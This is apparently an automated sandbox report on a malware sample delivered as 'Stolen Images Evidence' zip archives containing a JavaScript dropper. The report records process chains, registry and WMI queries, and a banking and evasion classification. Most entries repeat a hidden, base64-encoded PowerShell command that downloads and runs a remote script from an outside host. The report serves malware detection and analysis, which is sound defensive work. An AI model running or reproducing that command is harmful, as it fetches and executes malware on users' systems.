Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=4628 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,11587432688044278777,2975671469201023268,131072 --lang=en-US --service-sandbox-type=none --enable-audio-service-sandbox --mojo-platform-channel-handle=3644 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe 'C:\Windows\SysWOW64\unarchiver.exe' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd' 'C:\Users\user\Downloads\Stolen Images Evidence.zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n' 'C:\Users\user\Downloads\Stolen Images Evidence (1).zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe 'C:\Windows\System32\7za.exe' x -pinfected -y -o'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35' 'C:\Users\user\Downloads\Stolen Images Evidence (2).zip'	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'cmd.exe' /C 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\inbh3w2x.kjd\Stolen Images Evidence.js'	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\wx0c5czs.h3n\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-616E5B83-1274.pma

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Temp\3a880be2-2fb5-478b-99b5-315d182abac3.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.bank.evad.win@90/281@15/14

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5596:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4684:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6972:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2840:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:768:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7032:120:WilError_01

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Source:

Data Obfuscation:

PowerShell case anomaly found

Show sources

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Suspicious powershell command line found

Show sources

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=

Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 7_2_01052C7C push cs; ret	7_2_01052C86
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 14_2_02B02C7C push cs; ret	14_2_02B02C86
Source: C:\Windows\SysWOW64\unarchiver.exe	Code function: 22_2_01322C7C push cs; ret	22_2_01322C86
